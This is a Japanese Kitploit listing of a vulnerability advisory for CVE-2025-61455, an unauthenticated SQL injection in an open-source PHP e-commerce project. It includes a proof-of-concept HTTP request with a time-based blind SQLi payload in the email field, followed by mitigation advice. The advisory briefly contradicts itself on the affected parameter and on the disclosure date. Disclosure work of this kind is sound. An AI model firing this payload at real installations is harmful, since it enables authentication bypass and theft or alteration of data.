Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-61455 — CVE-2025-61455の公開開示と概念実証（PoC）。これはE-commerce Project v1.0における重大なSQLインジェクションであり、技術的詳細、PoC、および緩和策の推奨事項を含みます。 | Kitploit
ツール/GitHubGitHub/tansique-17/cve-2025-61455
脆弱性分析エクスプロイトウェブセキュリティ学習と教育厳選リソース
GitHubtansique-17/cve-2025-61455

CVE-2025-61455

CVE-2025-61455の公開開示と概念実証（PoC）。これはE-commerce Project v1.0における重大なSQLインジェクションであり、技術的詳細、PoC、および緩和策の推奨事項を含みます。

リポジトリを見る
10ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🛡️ CVE 開示: CVE-2025-61455 — EコマースプロジェクトにおけるSQLインジェクション

開示日: 2025年10月14日
CVE ID: CVE-2025-61455
深刻度: CRITICAL (CVSS 9.8)

🧩 概要

E-commerce Project v1.0 の signup.inc.php エンドポイントに、重大なSQLインジェクションの脆弱性が存在します。このアプリケーションは、サニタイズされていないユーザー入力をSQLクエリに直接組み込んでおり、認証されていない攻撃者が認証をバイパスし、任意のSQLコマンドを実行できる可能性があります。

この問題には識別子 CVE-2025-61455 が割り当てられています。公開時点では、公式パッチは提供されていません。

📦 影響を受ける製品

  • ベンダー: 独立 (Bhabishya-123)
  • プロジェクト: E-commerce
  • バージョン: v1.0
  • ファイル: signup.inc.php
  • 脆弱なエンドポイント:
    https://localhost/e-commerce-main/includes/signup.inc.php

🔬 脆弱性の詳細

このアプリケーションは、入力検証やプリペアドステートメントを使用せずに、サニタイズされていない入力をSQLクエリに直接使用しています。この脆弱性は、signup.inc.php ファイルの aid パラメータに存在します。

攻撃者は、emailパラメータを通じて悪意のあるSQLコードを注入し、時間ベースのブラインドSQLインジェクション攻撃を実行できます。

脆弱なコードパターンの例:

root@kitploit:~
$query = "SELECT * FROM table WHERE email='$email'";

これにより、クエリロジックを操作し、機密データを抽出できるインジェクションペイロードが可能になります。

📌 CWE分類

CWE IDタイトル
CWE-89SQLコマンドで使用される特殊要素の不適切な無効化

📊 CVSS v3.1 スコア

スコア深刻度ベクター文字列
9.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

💥 影響

悪用に成功した場合、以下の結果が生じる可能性があります:

  • ✅ 完全な認証バイパス
  • 🔓 特権機能への不正アクセス
  • 📊 時間ベースのブラインドSQLインジェクションによるデータ流出
  • 🛠️ 潜在的なデータの改ざんまたは削除
  • ⚠️ バックエンドデータベースの完全な侵害
  • 💻 リモートコード実行の可能性

🧪 概念実証 (PoC)

1. リポジトリのクローン

root@kitploit:~
git clone https://github.com/Bhabishya-123/E-commerce.git

2. ローカルでのホスティング

XAMPP/LAMPを使用してプロジェクトをデプロイし、以下のURLにアクセスします:

root@kitploit:~
http://localhost/e-commerce-main/includes/signup.inc.php

3. ペイロードの注入

以下の悪意のあるHTTPリクエストを送信します:

root@kitploit:~
POST /e-commerce-main/includes/signup.inc.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

name=DvYLInUG&[email protected]'%2b(select*from(select(sleep(20)))a)%2b'&address=BWhKCxUw&number=666897&pwd=n7N%21j3r%21T7&rpwd=k0U%21t0f%21E9&submit=

説明:
emailパラメータには、時間ベースのSQLインジェクションペイロードが含まれています: '+(select*from(select(sleep(20)))a)+'

アプリケーションが応答するまでに20秒の遅延が発生した場合、SQLインジェクションは成功しています。

🔐 推奨事項

  • ✅ 動的SQLクエリをプリペアドステートメント (mysqli_prepare() または PDO) に置き換える。
  • 🔍 すべてのユーザー入力に対して入力検証とサニタイズを実行する。
  • 🧱 既知のSQLインジェクションパターンをブロックするWebアプリケーションファイアウォール (WAF) を導入する。
  • 🛡️ 早期発見のために定期的なコード監査とペネトレーションテストを実施する。
  • 🔒 すべてのデータベース操作にパラメータ化クエリを実装する。
  • 📝 可能な場合は入力検証に許可リストを使用する。

📆 タイムライン

イベント日付
脆弱性の発見2025年9月16日
公開開示2025年10月13日
パッチの提供❌ 開示時点では利用不可

🙋‍♂️ クレジット

この脆弱性は、以下の人物によって発見され、責任を持って開示されました:

Tansique Dasari
🔗 GitHub
✉️ [email protected]

🔗 参考情報

  • OWASP - SQLインジェクション
  • PortSwigger - SQLインジェクション
  • CVE.org の CVE-2025-61455

💬 このアドバイザリは、ベンダーからの応答がないため、独立して公開されています。

ツールをダウンロード